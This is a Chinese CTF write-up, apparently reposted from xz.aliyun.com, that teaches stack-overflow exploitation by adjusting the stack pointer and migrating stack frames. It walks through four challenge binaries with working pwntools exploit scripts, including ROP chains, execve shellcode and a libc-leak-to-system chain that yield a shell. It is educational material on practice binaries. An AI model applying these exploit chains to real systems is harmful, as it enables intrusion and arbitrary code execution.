记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

花式栈溢出(栈帧的调节)

2020-02-18 11:32


title: 花式栈溢出(栈帧的调节)

花式栈溢出(栈帧的调节)

前言

本人刚学pwn不久,最近在学习过程中学到了各种需要栈帧调节的题目,以此记录一下。
在一些栈溢出的程序中,我们会碰到一些问题,例如溢出的可控字节数太少,无法构造我们想要的rop链,程序ASLR开启后导致的栈地址不可预测等。对于这种问题,常用的思路包括:

  • 加减esp值,控制栈指针
  • Stack Migration来构造一个假的栈帧。

这里总结了2种题型:

加减esp,把控栈指针

这种题型就需要用Ropgadget找一个控制esp的gadget,然后简单修改esp值的大小,来满足我们的需求。

Alictf_016_vss

这个题目就是一个修改esp扩大栈空间,从而构造rop链获取shell的题目。

检查保护和arch

ida分析

由于这个程序使用静态编译和strip命令剥离符号,用ida打开没有我们平时看的那么简单,
很多函数已经无法识别,我们就需要自己调试,然后推测是什么函数。

start函数中,call的函数是__libc_start_main, 上一行的 offset则是main函数
那个箭头就是main函数了。进入main函数以后,可以经过syscall中rax的参数来确认其是什么函数,很明显一个函数是alarm函数,先手动nop一下。

把这个函数去除后,方便gdb的后期调试。接着可以很容易确定一下puts函数跟read函数,在ida中修改一下。
下面那个40108e函数是比较复杂的,我用edb动态调试来确定出其中的某些函数:

对于这个函数,先确定一下其参数。


dump过去就会发现是复制了一份。所以就确定这个函数是strncpy是函数。
对于这个函数char *strncpy(char *dest, const char *src, int n)将src指向的字符数组中n个字符复制到dest指向的字符数组中,在第一个空字符处停止,并返回被复制后的dest

对于下一段就是判断一下,是否与0x79和0x70相等,可以来手动修改值让其相等。

往后走会发现先溢出了,在做溢出题的时候看到return 就应该想办法想上跳。

溢出的这个地址就是刚刚又syrcpy函数复制过来0x50字节中的最后8个字节,因为是strncpy函数,我们输入的字符串中是不能有\x00,否则会被截断,从而无法复制满0x50字节制造可控溢出,所以前0x48个字节中,我们不能写入任何地址。在这种情况下就需要通过修改esp来完成漏洞利用。

在最前面的read函数中,给了十分大的缓冲区可以用,我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上,紧接着执行这个rop链即可。

查到one_gadget发现0x000000000046f205 : add rsp, 0x58 ; ret正好符合要求。然后gdb调试一下确定一下rop链从50个字节后的那里开始合适即可。(这个在找onegadget的时候注意不要把rsp搞成esp了,自己在做的时候因为这个调试了半天,才发现是这个错误,导致exp不成功)

exp

from pwn import *
import time
io = process('./vss')
e = ELF('./vss')
io.recvuntil('Password:\n')
add_rsp_0x58_ret = 0x0046f205
pop_rax_ret = 0x0046f208
pop_rdi_ret = 0x0401823
pop_rsi_ret = 0x0401937
pop_rdx_ret = 0x043ae05
bss = 0x6C8178 -10
syscall_ret = 0x0045f2a5
rop1 = [
pop_rax_ret,
0,
pop_rdi_ret,
0,
pop_rsi_ret,
bss,
pop_rdx_ret,
10,
syscall_ret,
pop_rax_ret,
0x3b,
pop_rdi_ret,
bss,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
syscall_ret
]
# raw_input('->')
io.sendline('py' + 'a'*70 + p64(add_rsp_0x58_ret)+ 'b'* 8 + ''.join(map(p64,rop1)))
# raw_input('->')
sleep(0.1)
io.send('/bin/sh\x00')
io.interactive()

X-CTF Quals 2016-b0verfl0w

查保护和arch


这个nx也没有开,可以用栈执行shellcode

ida分析

signed int vul()
{
char s; // [esp+18h] [ebp-20h]

puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}

代码很简单,但是可以发现可以溢出的字节只有50-0x20-4=14个字节可控,所以是很难写出rop链来获取咱们目的的。然后就可以考虑控制栈指针的攻击思路,就是先把shellcode摆在栈上,然后控制eip到达这里就可以了。但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。

找一下控制esp的gadget

0x08048504 : jmp esp

然后怎么控制eip到shellcode上呢,因为没有nx保护,我们可以写一段指令来控制偏移:

sub esp,0x28
jmp esp

exp

from pwn import *
#io = process('./b0verfl0w')
context.arch = 'i386'
io = remote('node3.buuoj.cn',29410)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode + (36-len(shellcode_x86))*'b'+p32(jmp_esp) + sub_esp_jmp
io.readuntil('?\n')
#raw_input('->')
io.sendline(payload)
io.interactive()

Stack Migration

在 Stack Migration 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。

原理

我们知道在函数建立栈帧时有两条指令push ebp; mov ebp, esp,而退出时同样需要消除这两条指令的影响,即leave(mov esp, ebp; pop ebp) 。且leave一般紧跟着就是ret。因此,在存在栈溢出的程序中,只要我们能控制到栈中的ebp,我们就可以通过两次leave劫持栈。


第一次随着程序流leave; ret,new esp为我们构造新栈的目标地址。 可以看到执行到ret时,esp还在原来的old栈上,而ebp已经指向了新的栈的栈顶。

第二次进入我们放入栈上的leave; ret 的gadget(这个是我们事先写上栈的)esp已经被成功劫持到新的栈上,执行完gadget后栈顶会 在new_esp-4(64位是-8)的位置上。此时栈完全可控了,通过预先或者之后在new stack上布置的rop链可以轻松完成攻击。

HITCON_training_lab6_64位

这个是在HITCON_training的一个练习,直接给的有源码,我给编译成了64位版本。

源码

#include <stdio.h>
int count = 1337 ;
char *t= "Z\xc3" ;
int main(){
if( count!=1337 ){
_exit(1);
}
count++ ;
char buf[48];
setvbuf(stdout,0,2,0);
puts("Try your best : " );
read(0, buf,128);
return ;
}

gcc -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 migration.c -o migration 编译命令

简单分析

这个题纯粹就是为了练习的Stack Migration用的,可以不分析代码直接用gdb-peda直接来测试:


熟悉的栈溢出,但是下面多出来的一些字符串,也是程序不能接受的部分,也可以作为一个需要考虑栈迁移的标志。

注意一下rsp被覆盖的值。

计算padding为48.

计算一下,可以填入多少的可控字段。去除一下刚刚程序不能存入的部分和padding部分,还有80个字节可以用。其中一个来伪造new esp,剩下也就还有9个gadget可以用,可以给我构造第一个rop链。

图解分析

假设我们已经填入了溢出字符,buf1即为我们要去的新栈,这个选择bss段的后一半:

开始执行一下leave 中的mov rsp,rbp

此时rsp 也指向了 rbp指向的位置,在执行leave中的pop rbp:

此时rbp已经到了我们伪造的新栈buf1,然后开始执行ret,进入执行pop_rdi的gadget:

此时已经将buf1的地址,推入rdi,作为gets的参数,执行gets函数后,我们就可以往buf1上填入我们的rop链,此时栈大小已经没有限制了,可以任意写。


在这个buf1的栈空间里,我们需要先把rbp指向的位置写入buf2(下一个构造的新栈),然后构造rop链把puts的内存地址给泄露出来,进而可以算出libc的基地址,接着再构造一个gets函数。接着是执行一下leave 的gadget:


执行完以后就可以发现我们,已经完全控制了栈。并且开了一个buf2的新栈,留着在buf1调用gets函数时来在buf2新栈中摆上调用system(/bin/sh)函数的rop链。然后继续执行:


这就泄露出了puts函数的内存地址。接着开始往buf2新栈上读rop链:



读入完成,接着再次执行leave的gadget:


可以看到esp到了新栈,rbp因为刚刚在buf2填入的buf1,又会到了buf1,这个地址可以随便填了,对做题不影响,填写这个只是可以看到再次栈转移。接着执行buf2新栈的rop链:

就可以拿到shell了。

EXP

借着这个思路就可以开始写exp:

from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./test')
l = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# io = remote('127.0.0.1',4000)
io = process('./test')
pop_rdi_ret = 0x400703
pop_rsi_r15_ret= 0x0400701
pop_rdx_ret= 0x0400724
leave_ret= 0x0400699
buf1 = 0x00602000 - 0x200
buf2 = buf1 + 0x100
padding = 56 - 8
puts_plt = e.symbols['puts']
puts_got = e.got['puts']
read_add = e.symbols['read']
io.recvuntil(':')
p = 'a'*padding + flat([buf1,pop_rdi_ret,0,pop_rsi_r15_ret,buf1,0,pop_rdx_ret,0x100,read_add,leave_ret])
#raw_input('->')
io.send(p)
sleep(0.1)
p = flat([buf2,pop_rdi_ret,puts_got,puts_plt,pop_rdi_ret,0,pop_rsi_r15_ret,buf2,0,pop_rdx_ret,0x100,read_add,leave_ret])
sleep(0.1)
#raw_input('->')
io.sendline(p)
io.recvuntil('\n')
puts = u64((io.recv(6)).ljust(8,'\x00'))
libc = puts - l.symbols['puts']
print('libc_base:' + hex(libc))
binsh_add = l.search('/bin/sh\x00').next() + libc
#print(binsh_add)
# raw_input('->')
system_add = l.symbols['system'] + libc
p = flat([buf1,pop_rdi_ret,binsh_add,system_add])
sleep(0.1)
io.sendline(p)
io.interactive()

Hgame2020_week2_rop_level2

查保护和arch


32位程序,开了nx保护

ida分析


这个明显的栈溢出,但是0x60-0x50-0x8 = 8。发现只有一个gadget位置,无法构造我们想要的rop链。但是前面的第一个read函数,可以读入很大空间,并且第二个参数buf的地址是固定的。

那这个题明显就是可以Stack Migration来解决问题了,并且只需再写一个leave ret就控制栈了。

攻击思路

程序中有着open,read,puts函数,我们可以写一个rop链,调用open函数,控制其参数是./flag,并在gdb中调试将其返回的文件fd号记录下来,然后传递给read函数,让其读入文件内容存入某个缓冲区,再用puts函数输出一下flag文件的内容即可。在第一个read的时候,我们就需要写好rop链。然后在最后一个read函数时,控制好ebp指向我们的新栈。

EXP

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# io = process('./ROP')
io = remote('47.103.214.163',20300)
e = ELF('./ROP')
buf = 0x06010A0
# libc = e.libc
padding = 80
leave_ret = 0x040090d
pop_rdi_ret = 0x00400a43
pop_rsi_r15 = 0x00400a41
open_plt = 0x4007b0
read_plt = 0x400780
puts_plt = 0x400760
io.recvuntil('think so?\n')
p = flat(['./flag\x00\x00',pop_rdi_ret,buf,pop_rsi_r15,0,0,open_plt,pop_rdi_ret,4,pop_rsi_r15,buf+0x80,0,read_plt,pop_rdi_ret,buf+0x80,puts_plt])
io.sendline(p)
io.recvuntil('\n')
p = padding * 'a' + p64(buf) + p64(leave_ret)
raw_input('->') #手动下一个断点,以后让gdb附加上进行调试
io.send(p)
flag = io.recvline_contains('hgame')
print(flag)
io.interactive()

我们跟着exp来调试一下,看看效果:

此时的esp是我们伪造的new esp,已经指向了我们的目标位置,并且第一个rop链接已经送过去,可以看到./flag的字眼。执行一下leave:

可以看到rbp的值已经等于我们伪造的值,esp还在原来栈上。接着执行ret,进入下一个leave ret:

先记录下当前的状态,开始执行leave:

执行完发现esp已经到达了新栈buf+8的位置,此时的栈帧已经是我们完全想要的,已经劫持了程序流程,并且新栈空间很大,可以满足我们的需求。ebp是多少已经不重要了,我们直接填入./flag,这个固定地址也做为给open函数做参数。

在调试的时候,执行完open函数需要把返回的fd值记录下,给read函数做参数。最后由puts函数在输出flag:

Stack Migration小总结

这下可以总结下利用思路也就是

  • 把控好起初栈的ebp,在里面写入需要伪造的new esp
  • 在之后的可利用字节中写入leave gadget
  • 将想执行的ROP Chain写在已知固定位置上
  • 再利用leave搬移Stack位置到已知位置
  • 然后无限接ROP Chain

知识来源: xz.aliyun.com/t/7216

阅读:5136 | 评论:0 | 标签:溢出

想收藏或者和大家分享这篇好文章→复制链接地址

“花式栈溢出(栈帧的调节)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云